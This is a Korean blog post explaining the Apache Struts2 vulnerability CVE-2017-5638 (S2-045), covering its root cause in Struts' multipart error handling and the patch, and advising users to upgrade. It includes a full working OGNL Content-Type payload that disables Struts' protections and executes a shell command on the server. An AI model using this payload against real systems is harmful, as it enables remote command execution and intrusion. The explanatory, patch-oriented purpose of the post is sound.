Apache Struts2 긴급 취약점 관련 이슈
2017. 3. 14. 17:38얼마전 Apache Struts2의 취약점 관련한 내용이 보고 되었습니다.
보고된 내용은 중요한 원격 코드 실행 취약점 CVE-2017-5638이 Struts 2.3.5-2.3.31 및
Struts 2.5-2.5.10에 영향을 준다는 내용이었습니다.
오늘은 Apache Struts2의 취약점 관련 이슈에 대해 포스팅 하겠습니다.
원격 공격자는 잘못된 형식의 Content-Type 값이 포함된 특정한 조작된 HTTP 요청을 보내
이 취약점을 악용 할 수 있는데, 공격이 성공하게 되면 웹 서버에서 임의의 명령을 실행할 수 있습니다.
3월 6일에 이 보안 취약점은 Security Bulletin S2-045에서 다뤄졌으며
MetaSploit에서는 이미 악용 사례가 있었습니다.
이 취약점은 Content-Type 헤더에서 주입된 OGNL 표현식에 의해 트리거 됩니다.
HTTP 요청의 Content-Type이 다음 내용으로 설정되면 “whoami“명령이 실행됩니다.
%{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_me
mberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.A
ctionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xw
ork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlU
til.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’whoam
i’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘wi
n’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new jav
a.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start(
)).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream
())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros
.flush())}
취약점 세부정보 입니다.
이 취약점은 알 수 없는 Content-Type 헤더를 처리 할 때 논리 오류로 인해 발생합니다.
예외 처리 중에 JakartaMultiPartRequest.buildErrorMessage 메소드는 localizedTextUtil.findText 메소드를 사용하여 요청 내용을 처리했으며, 이후에는 지원되지 않아야 하는 기능이
포함되어 있습니다.
요청 내에서 OGNL 표현식을 검색하고 실행합니다.
JakartaMultiPartRequest.parse 메소드는 HTTP 요청 헤더를 구문 분석합니다.
알 수 없는 Content-Type이 전달되면 buildErrorMessage 메소드를 호출하여 처리합니다.
이름에서 알 수 있듯이 오류 메시지가 나타납니다.
그런 다음 buildErrorMessage는 메소드 localizedTextUtil.findText를 호출하여 메시지를
구문 분석합니다.
메시지의 본문은 4 번째 매개 변수로 전달됩니다.
공식 패치에서는 findElement를 호출하기 전에 필요한 필터링을 위해 buildErrorMessage가
수정되었습니다.
findText 메소드에서 OGNL 표현식은 구문 분석되어 실행됩니다.
현재 영향을 받은 Struts2 버전의 사용자들에게 가능한 한 빨리 최신 버전으로
업데이트할 것을 제안드립니다.
이번시간에는 Apache Struts2의 취약점 관련 이슈에 대해 알아보는 시간이었습니다
다음에도 유익한 정보를 올릴 수 있도록 하겠습니다.
감사합니다.